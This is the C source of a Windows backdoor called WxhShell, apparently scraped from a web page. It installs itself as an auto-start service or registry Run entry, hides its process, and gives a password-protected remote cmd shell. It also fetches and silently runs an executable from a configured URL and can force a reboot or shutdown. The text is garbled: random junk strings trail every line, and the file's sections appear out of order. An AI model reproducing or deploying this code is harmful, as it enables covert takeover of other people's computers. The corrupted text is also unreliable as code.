    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zr1"'+-  
    else { :1Nc6G  
    closesocket(wsh); etT9}RbQ  
    ExitThread(0); \?oT.z5VG&  
    } z Ohv>a  
    break;  71@kIJI  
    } CcW3o"=4  
  // 获取shell c0Bqm  
  case 's': { 2<9K}Of  
    CmdShell(wsh); z{&Av  
    closesocket(wsh); ZJW8S  
    ExitThread(0); =xDxX#3  
    break; %19~9Tw  
  } g%tUkM  
  // 退出 z:Tj0< A'  
  case 'x': { n-2!<`UFX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tH&eKM4G  
    CloseIt(wsh); [<5/s$,i  
    break; ?FNgJx*\S  
    } b1>]?.  
  // 离开 .rG~\Ws  
  case 'q': { w_o+;B|I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +L"F]_?  
    closesocket(wsh); za}Kd^KeB  
    WSACleanup(); V )Oot|  
    exit(1); V dvj*I  
    break;  ]Tb?z&  
        } k~so+k&=b  
  } ,tQN L\t  
  } :-#7j} R&  
<{8x-zbR+  
  // 提示信息 MM]0}65KG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M"W#_wY;  
} BKO^ux%  
  } cWyf04-?  
\BH?GMoP  
  return; W!T[ ^+  
} s-5 #P,Lw  
r>! @Z2%s  
// shell模块句柄 9(qoME}>=  
int CmdShell(SOCKET sock) p>kny?AJ  
{ q+4dHS)x  
STARTUPINFO si; 5x|$q kI  
ZeroMemory(&si,sizeof(si)); AA)pV-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "9d Z z/{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &>+5 8  
PROCESS_INFORMATION ProcessInfo; wEl7mg !  
char cmdline[]="cmd"; k>Fw2!mA^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *z6A ~U  
  return 0; U+#^>}wc  
} 4"Qb^y  
Xs|d#WbX  
// 自身启动模式 L~e0^X?  
int StartFromService(void) ;F*^c )  
{ m>48?%  
typedef struct M@7U]X$g  
{ !~RK2d  
  DWORD ExitStatus; kCEo */,  
  DWORD PebBaseAddress; _VjaTw8iM  
  DWORD AffinityMask; #tpz74O  
  DWORD BasePriority; @YRy)+  
  ULONG UniqueProcessId; ?/1LueC:  
  ULONG InheritedFromUniqueProcessId; 5 (!FQ  
}   PROCESS_BASIC_INFORMATION; 6T+ym9  
7[0Mr,^  
PROCNTQSIP NtQueryInformationProcess; ^`M%g2x  
6HJsIeQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;nL7Hizo,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a#+$.e5  
j@#RfVx  
  HANDLE             hProcess; y{<js!au  
  PROCESS_BASIC_INFORMATION pbi; 8@+<W%+th  
N-b'O`C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fj['M6+wd  
  if(NULL == hInst ) return 0; R\X;`ptT  
\2[tM/+Bs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -dF (_ %C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B5+Q%)52  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rN7JJHV  
*2N0r2t&  
  if (!NtQueryInformationProcess) return 0; "M+I$*]  
 \v+c.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )(yaX  
  if(!hProcess) return 0; v!DK.PZbi  
)Ghw!m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G5OGyQp  
(VmFYNt&  
  CloseHandle(hProcess); **z^aH?B2  
~`Vo0Z*S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yMM2us#*+q  
if(hProcess==NULL) return 0; b@=H$"  
]8OmYU%6V  
HMODULE hMod; Ake l.&  
char procName[255]; <KtL,a=2+  
unsigned long cbNeeded; 0FH.=   
hP{+`\&<f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k,'MmAz  
<\uDtbK  
  CloseHandle(hProcess); k:iy()n[  
ollVg/z  
if(strstr(procName,"services")) return 1; // 以服务启动 !mWm@ }Ujg  
~iiDy;"  
  return 0; // 注册表启动 7LM&3mA<  
} iD%a;]  
|7n%8JsY!"  
// 主模块 w(Tr ,BFF  
int StartWxhshell(LPSTR lpCmdLine) uVhzJu.  
{ jA2%kX\6//  
  SOCKET wsl; tI^[|@,  
BOOL val=TRUE; pRxVsOb  
  int port=0; FIAmAZH}_  
  struct sockaddr_in door; Isvb;VT9L  
pbqk  
  if(wscfg.ws_autoins) Install(); R=48:XG3/K  
m+7%]$  
port=atoi(lpCmdLine); !B#lZjW#  
x $[_Hix  
if(port<=0) port=wscfg.ws_port; ;.xKVH/@  
{*g{9`   
  WSADATA data; F4"bMN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P_mP ^L  
`-cw[@uD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x[)]u8^A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (nBh6u*  
  door.sin_family = AF_INET; "X!1^)W -8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UUbO\_&y  
  door.sin_port = htons(port); t>LSP$  
~#VDJ[Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9vW]HOK  
closesocket(wsl); [g: cG  
return 1; y4 ]5z/  
} z<^LY]  
}M"])B I  
  if(listen(wsl,2) == INVALID_SOCKET) { "Dq^r9  
closesocket(wsl); =+?OsH v  
return 1; s S3RK  
} W?!rqo2SP  
  Wxhshell(wsl); Hi$N"16A5z  
  WSACleanup(); LH @B\ mS  
iFcSz  
return 0; 6@47%%,}  
5A 5t  
} "Y5 :{Kj  
[h&s<<# D  
// 以NT服务方式启动 c=?6`m,"M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i| ,}y`C#  
{ vF~q".imC  
DWORD   status = 0; Tj!\SbnA[  
  DWORD   specificError = 0xfffffff; 3fX _XH1Q  
/[/{m]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <"3${'$k`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lx2%=5+i;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -bSM]86  
  serviceStatus.dwWin32ExitCode     = 0; Pf?&ys6  
  serviceStatus.dwServiceSpecificExitCode = 0; CK|AXz+EN  
  serviceStatus.dwCheckPoint       = 0; ^5?|Dj  
  serviceStatus.dwWaitHint       = 0; car|&b  
p/7'r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O}2/w2n  
  if (hServiceStatusHandle==0) return; e0ni  
zLg$|@E&  
status = GetLastError(); XDyo=A]  
  if (status!=NO_ERROR) gcO$T`  
{ & @_PY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ku uiU= (L  
    serviceStatus.dwCheckPoint       = 0;  xI#rnx*  
    serviceStatus.dwWaitHint       = 0; p15dbr1  
    serviceStatus.dwWin32ExitCode     = status; D^p)`*  
    serviceStatus.dwServiceSpecificExitCode = specificError; *> Be w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PQYJn x}  
    return; WD[jEWMV7D  
  } luac  
|f1^&97=+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZWjje6  
  serviceStatus.dwCheckPoint       = 0; s?k:X ~m  
  serviceStatus.dwWaitHint       = 0; SfrM|o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h -091N  
} 8I#^qr5  
Y,,Z47% E  
// 处理NT服务事件,比如:启动、停止 O7.eq524  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~ oq.yn/1  
{ hB aG*J{  
switch(fdwControl) {-]K!tWda  
{ H, GnF  
case SERVICE_CONTROL_STOP: >dw 0@T&p  
  serviceStatus.dwWin32ExitCode = 0; Vj8-[ww!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (G$Q\>  
  serviceStatus.dwCheckPoint   = 0; =,qY\@fq  
  serviceStatus.dwWaitHint     = 0; iYw1{U  
  { :=!6w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q;f L@L@-  
  } 'gD./|Z0  
  return; QK#qW-49O  
case SERVICE_CONTROL_PAUSE: 28+{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `fJ;4$4  
  break; +<V$G/"  
case SERVICE_CONTROL_CONTINUE: BNr%Q:Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2VX9FDrnk  
  break; 5 I#-h<SG  
case SERVICE_CONTROL_INTERROGATE: gX n `!  
  break; gQu!(7WLI  
}; Eg2jexl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4 CiRh  
} /!6 VP |  
H0t#J  
// 标准应用程序主函数 -=UvOzw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Yb[)ETf^  
{ ~+Cl9:4T  
rTJqw@]#WH  
// 获取操作系统版本 H+gB|  
OsIsNt=GetOsVer(); T-7( 3#&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L >hLYIW  
M\JAB ;A  
  // 从命令行安装 n<b}6L}  
  if(strpbrk(lpCmdLine,"iI")) Install(); <Zfh5AM  
|\| v%`r2  
  // 下载执行文件 j!;E>`g  
if(wscfg.ws_downexe) { ma) + G!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G@T_o4t  
  WinExec(wscfg.ws_filenam,SW_HIDE); a?Y>hvI  
} }&s |~  
)MoHY   
if(!OsIsNt) { < %<nh`D  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~% `hh9]  
HideProc(); 9ku|w#%I  
StartWxhshell(lpCmdLine); vtK.7AF  
} V;)+v#4{  
else L7xiq{t`Y  
  if(StartFromService()) k{|> !(Ax  
  // 以服务方式启动 h:FN&E c}  
  StartServiceCtrlDispatcher(DispatchTable); R]>0A3P  
else d:cOdm>,  
  // 普通方式启动 A%&lW9z7  
  StartWxhshell(lpCmdLine); ~rXLb:  
0Am\02R.C,  
return 0; B_8JwMJu3  
} KRP6b:+4L  
P~x4h{~Gd  
Zk|PQfi+  
M A%g-}  
=========================================== sdd%u~4,X  
{S@, ,  
h+YPyeAs  
!g|[A7<|  
:qShP3^  
=t~]@?]1D  
" o{hZjn-  
 3(*vZ  
#include <stdio.h> i_`Po%   
#include <string.h> z t!>  
#include <windows.h> Ia{t/IX\[  
#include <winsock2.h> LCHw.  
#include <winsvc.h> Pe11a zJ  
#include <urlmon.h> ]]_c3LJ2`  
dww4o~hO  
#pragma comment (lib, "Ws2_32.lib") FS!vnl8`  
#pragma comment (lib, "urlmon.lib") 2<AQ{ c  
ew c:-2Y^  
#define MAX_USER   100 // 最大客户端连接数 oJE<}~_k  
#define BUF_SOCK   200 // sock buffer N>sHT =_  
#define KEY_BUFF   255 // 输入 buffer !# xi^I  
u,`V%J?vW  
#define REBOOT     0   // 重启 Aaz:C5dtU  
#define SHUTDOWN   1   // 关机 D&],.N  
c% ?@3d  
#define DEF_PORT   5000 // 监听端口 bpDlFa  
3lS1WA   
#define REG_LEN     16   // 注册表键长度 =4!m] *y  
#define SVC_LEN     80   // NT服务名长度 ^0I"  
fX1Ib$v  
// 从dll定义API `:0Auw9h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9 "M-nH*<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -&%! 4(Je  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +lf`Dd3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wjOJn]  
(&_~eYZU  
// wxhshell配置信息 yVpru8+eD  
struct WSCFG { |gT8QP  
  int ws_port;         // 监听端口 $HRl:KDdP~  
  char ws_passstr[REG_LEN]; // 口令 (~"#=fs.L  
  int ws_autoins;       // 安装标记, 1=yes 0=no UZ:z|a3  
  char ws_regname[REG_LEN]; // 注册表键名 i0?/\@gd  
  char ws_svcname[REG_LEN]; // 服务名 #.,LWL]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $L]M3$\9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &v:[+zw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %qVD-Jln  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mMCd   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ScT{Tb]9bt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PHH,vO[eO  
N6*FlG-  
}; 5+(Cp3  
Tj6Czq=*%T  
// default Wxhshell configuration x4?g>v*J  
struct WSCFG wscfg={DEF_PORT, UdpuQzV<4`  
    "xuhuanlingzhe", T*(mi{[T  
    1, ;j<#VS-]  
    "Wxhshell", rfh`;G5s  
    "Wxhshell", JM*!(\Y  
            "WxhShell Service", /f=31<+MtF  
    "Wrsky Windows CmdShell Service", _X{ GZJm  
    "Please Input Your Password: ", scE#&OWF%  
  1, ? a/\5`gnN  
  "http://www.wrsky.com/wxhshell.exe", [BEQ ~A_I  
  "Wxhshell.exe" ^i@0P}K<  
    }; eK\i={va  
uj)fah?Wg  
// 消息定义模块 idjk uB(6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v++&%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &IG*;$c!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,OMdLXr  
char *msg_ws_ext="\n\rExit."; ?MSV3uODb  
char *msg_ws_end="\n\rQuit."; Jgq#m~M6  
char *msg_ws_boot="\n\rReboot..."; 1T4#+kW&  
char *msg_ws_poff="\n\rShutdown..."; b |ijkys  
char *msg_ws_down="\n\rSave to "; Zb<D%9  
*qr>x8OGp  
char *msg_ws_err="\n\rErr!"; *c(YlfeZ#  
char *msg_ws_ok="\n\rOK!"; q5) K  
E$v!Z;A  
char ExeFile[MAX_PATH]; r#J_;P{U  
int nUser = 0; pMf ?'l  
HANDLE handles[MAX_USER]; ]#'& x%m  
int OsIsNt; ahN8IV=+Gm  
;[:IC^9fv  
SERVICE_STATUS       serviceStatus; .k,,PuP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "z*?#&?,  
8 9maN  
// 函数声明 Vf$$e)  
int Install(void); E>u U6#v  
int Uninstall(void); VMu?mqEa  
int DownloadFile(char *sURL, SOCKET wsh); m mH xPd  
int Boot(int flag); K}Q:L(SSr\  
void HideProc(void); Fj`K$K?  
int GetOsVer(void); {_Fh3gjb/  
int Wxhshell(SOCKET wsl); Ia[<;":U  
void TalkWithClient(void *cs); mPo.Z"uy7  
int CmdShell(SOCKET sock); gzDfx&.0  
int StartFromService(void); 9LSV^[QUH  
int StartWxhshell(LPSTR lpCmdLine); sy(.p^Z  
]L k- -\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e?KzT5j:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qsYg%Z  
DyUS^iz~o  
// 数据结构和表定义 Q$Sp'  
SERVICE_TABLE_ENTRY DispatchTable[] = Qs<L$"L1  
{  ;B{oGy.  
{wscfg.ws_svcname, NTServiceMain}, y#/P||PM  
{NULL, NULL} {r#uD5NJ/  
}; d@ ] N  
[<wpH0lNoy  
// 自我安装 *rYPjk6g[  
int Install(void) /^WOrMR  
{ 5eM{>qr}  
  char svExeFile[MAX_PATH]; nL]eGC  
  HKEY key; 6$H`wDh#(&  
  strcpy(svExeFile,ExeFile); _Ec"[xW  
{"|la;*I  
// 如果是win9x系统,修改注册表设为自启动 D&OskM60  
if(!OsIsNt) { ({cWb:+r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D"IxQ2}k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )OK"H^}f  
  RegCloseKey(key); 3XDuo|(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1aPFpo!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '#jZ`  
  RegCloseKey(key); !Yz CK*av1  
  return 0; Rt@O@oDI  
    } (g1Op~EM  
  } jPn.w,=)27  
} >1` '5A}s  
else { zd{sw}  
7/)0{B4U'  
// 如果是NT以上系统,安装为系统服务 =JxEM7r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J.]`l\  
if (schSCManager!=0)  %Nx,ZD@  
{ 7t/Y5Qf  
  SC_HANDLE schService = CreateService h\+8eeIl  
  ( @S6@pMo,  
  schSCManager, Z1] 4:  
  wscfg.ws_svcname, #];ulDq  
  wscfg.ws_svcdisp, A f}o/g  
  SERVICE_ALL_ACCESS, |<uBJ-5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j' b0sve|?  
  SERVICE_AUTO_START, O,#,`2Qc  
  SERVICE_ERROR_NORMAL, Q(4~r+  
  svExeFile,  %\~U>3Q  
  NULL, . "7-f]!  
  NULL, G9@5 !-  
  NULL, ^ ~dC&!D  
  NULL, 01NP  
  NULL >4os%T  
  ); ,V{Bpr  
  if (schService!=0) '-3K`[  
  { "6v_<t`q"  
  CloseServiceHandle(schService); n$E$@  
  CloseServiceHandle(schSCManager); w}e_ 17A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E%a&6W  
  strcat(svExeFile,wscfg.ws_svcname); Z/ L%?zH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K#VGG,h7Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MeAY\V%G=o  
  RegCloseKey(key); nQ{~D5y,,  
  return 0; /)<kG(Z  
    } .kJu17!  
  } >;%LW} %  
  CloseServiceHandle(schSCManager); b1%w+*d<z  
} [ u ^/3N  
} +-|}<mq  
XD80]@\za  
return 1; 9Q\RCl_1  
} n(C M)(ozU  
;Eh"]V,e  
// 自我卸载 VKg9^%#b`[  
int Uninstall(void) kYR ^  
{ *^CN2tm  
  HKEY key; pimI)1 !$'  
c{qTVi5e  
if(!OsIsNt) { 8<@X=Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qxYCT$1  
  RegDeleteValue(key,wscfg.ws_regname); s4Vju/  
  RegCloseKey(key); ,fo7. h4{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PF+Or  
  RegDeleteValue(key,wscfg.ws_regname); 9D;ono3  
  RegCloseKey(key); r> .l^U9hJ  
  return 0; Qh* }v!3Jo  
  } YdUcO.V  
} Mky^X,r  
} 5'%O]~  
else { J/PK #<  
 '{cFr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6rO^ p  
if (schSCManager!=0) `G=+qti  
{ LLoV]~dvUu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 12Fnv/[n'K  
  if (schService!=0) 7uO tdH+  
  { !)05,6WQ  
  if(DeleteService(schService)!=0) { C:f^&4 3  
  CloseServiceHandle(schService); _,I~1"  
  CloseServiceHandle(schSCManager); LvU/,.$  
  return 0; 3Q2NiYg3  
  } @moaa}1  
  CloseServiceHandle(schService); Ak$9\Sl  
  } J?tnS6V  
  CloseServiceHandle(schSCManager); 6="o&!  
} \x5>H:\Y  
} ZT`" {#L  
MJa` 4[/  
return 1; "#iO{uMWb  
} TJB4N$-}A  
eKU4"XTk  
// 从指定url下载文件 Oi{J} 2U  
int DownloadFile(char *sURL, SOCKET wsh) K7/&~;ZwT  
{ P2U4,?_e  
  HRESULT hr; ;Rm';IW$  
char seps[]= "/"; v "[<pFj^  
char *token; aJc>"#+ o  
char *file; :_+U[k(#  
char myURL[MAX_PATH]; gV*4{ d`  
char myFILE[MAX_PATH]; -w'g0/fD  
::3[H$  
strcpy(myURL,sURL); 4#I=n~8a  
  token=strtok(myURL,seps); {}=5uU2Tu  
  while(token!=NULL) ^9YS dFH/  
  { ^PMA"!n8  
    file=token; 8v)HTD/C  
  token=strtok(NULL,seps); C;9P6^Oz  
  } "j.Q*Hazg  
j J54<.D  
GetCurrentDirectory(MAX_PATH,myFILE); )0Vj\>  
strcat(myFILE, "\\"); c)q=il7ef  
strcat(myFILE, file); -x?|[ +%  
  send(wsh,myFILE,strlen(myFILE),0); %O{FZgi%wA  
send(wsh,"...",3,0); E;"VI2F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -W: @3\{  
  if(hr==S_OK) qR , 5  
return 0; 1k"i"kRM  
else vi[~Qt  
return 1; B =DV!oUg  
.dvs&+I  
} R/6 v#9m7  
A}3E)Qo=G  
// 系统电源模块 r\y\]AmF  
int Boot(int flag) ZY;g)`E1  
{ ")NQwT}  
  HANDLE hToken; KCqz]  
  TOKEN_PRIVILEGES tkp; 7JY9#+?p>  
:JXcs39  
  if(OsIsNt) { +.$:ZzH#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2Ns<lh   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $0]5b{i]  
    tkp.PrivilegeCount = 1; 9N|JI3*41  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9yLPh/!Ob  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s,D GFK  
if(flag==REBOOT) { H/*i-%]v+(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ")fgQ3XZ  
  return 0; K5(T7S  
} x26 sH5  
else { [u-=<hnoa  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q1H.2JXr  
  return 0; % 5BSXAc  
} C3 m_sv#e  
  } Gr3 q  
  else { c3\p@}  
if(flag==REBOOT) { $A(3-n5=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &((04<@e  
  return 0; w}29#F\]R  
} \`8F.oZ^)  
else { {4%ddJn[.)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E>"SC\#7  
  return 0; "`w*-O  
} viVn  
} R!rMrWX  
B\`${O(  
return 1; cL"Ral-qB  
} 5+)_d%v=6!  
O /h1ew  
// win9x进程隐藏模块 QKoJxjR=^  
void HideProc(void) T$V8 n_;  
{ mrVN&.  
fo I:`]2"*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V0gu0+u~R  
  if ( hKernel != NULL ) W5&KmA  
  { rj<-sfs  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >waA\C}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _G)x\K]N  
    FreeLibrary(hKernel); -1R7 8(1  
  } 2%]#rZ  
`Cu9y+t  
return; . ;D'  
} ^brh\M,:@  
o K&G  
// 获取操作系统版本 ;47=x1j i  
int GetOsVer(void) "&mwrjn"T  
{ HZ\=NDz  
  OSVERSIONINFO winfo; +H!aE}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  GU xhn  
  GetVersionEx(&winfo); I#zL-RXT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E7]a#  
  return 1; (. ,{x)H  
  else [bN_0T.YI  
  return 0; fl*49-d  
} Ba n^wX  
=1mIk0H`  
// 客户端句柄模块 3LVL5y7|  
int Wxhshell(SOCKET wsl) &2W`dEv]?  
{ }BCxAwD4  
  SOCKET wsh; n$"B F\eM  
  struct sockaddr_in client; !,*Uvs@b  
  DWORD myID; 2}ywNVS  
L_>LxF43  
  while(nUser<MAX_USER) McvLU+  
{ iyMoLZ5  
  int nSize=sizeof(client); ;i3C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  1oG'm  
  if(wsh==INVALID_SOCKET) return 1; *(VwD)*  
V_)465g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xf{=~j/L  
if(handles[nUser]==0) 4{" v  
  closesocket(wsh); a#3,qp!  
else p vu% p8  
  nUser++; BagV\\#v4  
  } mpl^LF[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5eas^Rm  
J {\]ZPs  
  return 0; *0 ;|  
} kwFo*1 {  
|%=c<z+8  
// 关闭 socket m9aP]I3g]\  
void CloseIt(SOCKET wsh) d,t'e?  
{ S,C/l1s  
closesocket(wsh); OEHw%  
nUser--; kgRgHkAH~  
ExitThread(0); B5va4@  
} e?dR'*-z  
6Kd,(DI  
// 客户端请求句柄 "o<&3c4  
void TalkWithClient(void *cs) &s&Ha{(!w  
{ SS-7y:6y>  
iP?=5j=4  
  SOCKET wsh=(SOCKET)cs; p2 m`pT  
  char pwd[SVC_LEN]; Wt! NLlN8  
  char cmd[KEY_BUFF]; /6p7 k  
char chr[1]; wpm $?X  
int i,j; <U""CAE  
5VlF\-  
  while (nUser < MAX_USER) { Vj_z"t7q  
T'VKZ5W  
if(wscfg.ws_passstr) { TK%MVLTK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5U(ry6fI=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A#w*r-P  
  //ZeroMemory(pwd,KEY_BUFF); "ODs.m oq  
      i=0; &4Y@-;REt  
  while(i<SVC_LEN) { [b@9V_  
F#7A6|  
  // 设置超时 w;T?m,"  
  fd_set FdRead; ~ponYc.Y  
  struct timeval TimeOut; .BZ3>]F3<  
  FD_ZERO(&FdRead); Uj~ :| ?Wz  
  FD_SET(wsh,&FdRead); qg8T}y>  
  TimeOut.tv_sec=8; {+|Em(M  
  TimeOut.tv_usec=0; h)yAg e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j}$Q`7-wB1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &0euNHH;sL  
i>@"&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B,ZLX/c9  
  pwd=chr[0]; #^< Rx{  
  if(chr[0]==0xd || chr[0]==0xa) { EeS VY  
  pwd=0; &?yVLft  
  break; irzWk3@:  
  } o!|TCwt  
  i++; n6 AP6PK7  
    } b/'RJQSAc  
q,_ 1?A)  
  // 如果是非法用户,关闭 socket 7j\jOkl V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ITEd[ @^d  
} :8Jn?E (36  
>*[Bq;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0D48L5kH#'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -8,lXrH  
%!Ak]|[7  
while(1) { P 4jg]g  
4 O~zkg  
  ZeroMemory(cmd,KEY_BUFF); wLH[rwPr  
8w4cqr4m  
      // 自动支持客户端 telnet标准   ,W~a%8*  
  j=0; ADN  
  while(j<KEY_BUFF) { m=%WA5c?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VtC1TZ3-7  
  cmd[j]=chr[0]; ;/.XAxkFL  
  if(chr[0]==0xa || chr[0]==0xd) { AP_2.V=Sn  
  cmd[j]=0;  k/}E(_e  
  break; POc-`]6 <F  
  } Q:!.YSB  
  j++; M }tr*L  
    } hKYA5]  
JGKiVBN  
  // 下载文件 IH0qx_;P&  
  if(strstr(cmd,"http://")) { BF>3CW7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I:%O`F  
  if(DownloadFile(cmd,wsh)) >gTrui{ ,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mkOj&Q  
  else 9DP6g<>B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,Q8)r0c  
  } F;^GhiQVS  
  else { ?Wm.'S'to  
GT} =(sD L  
    switch(cmd[0]) { X(ZouyD<  
  OTe0[p6v  
  // 帮助 Y!|* `FII  
  case '?': { @I^LmB9*  
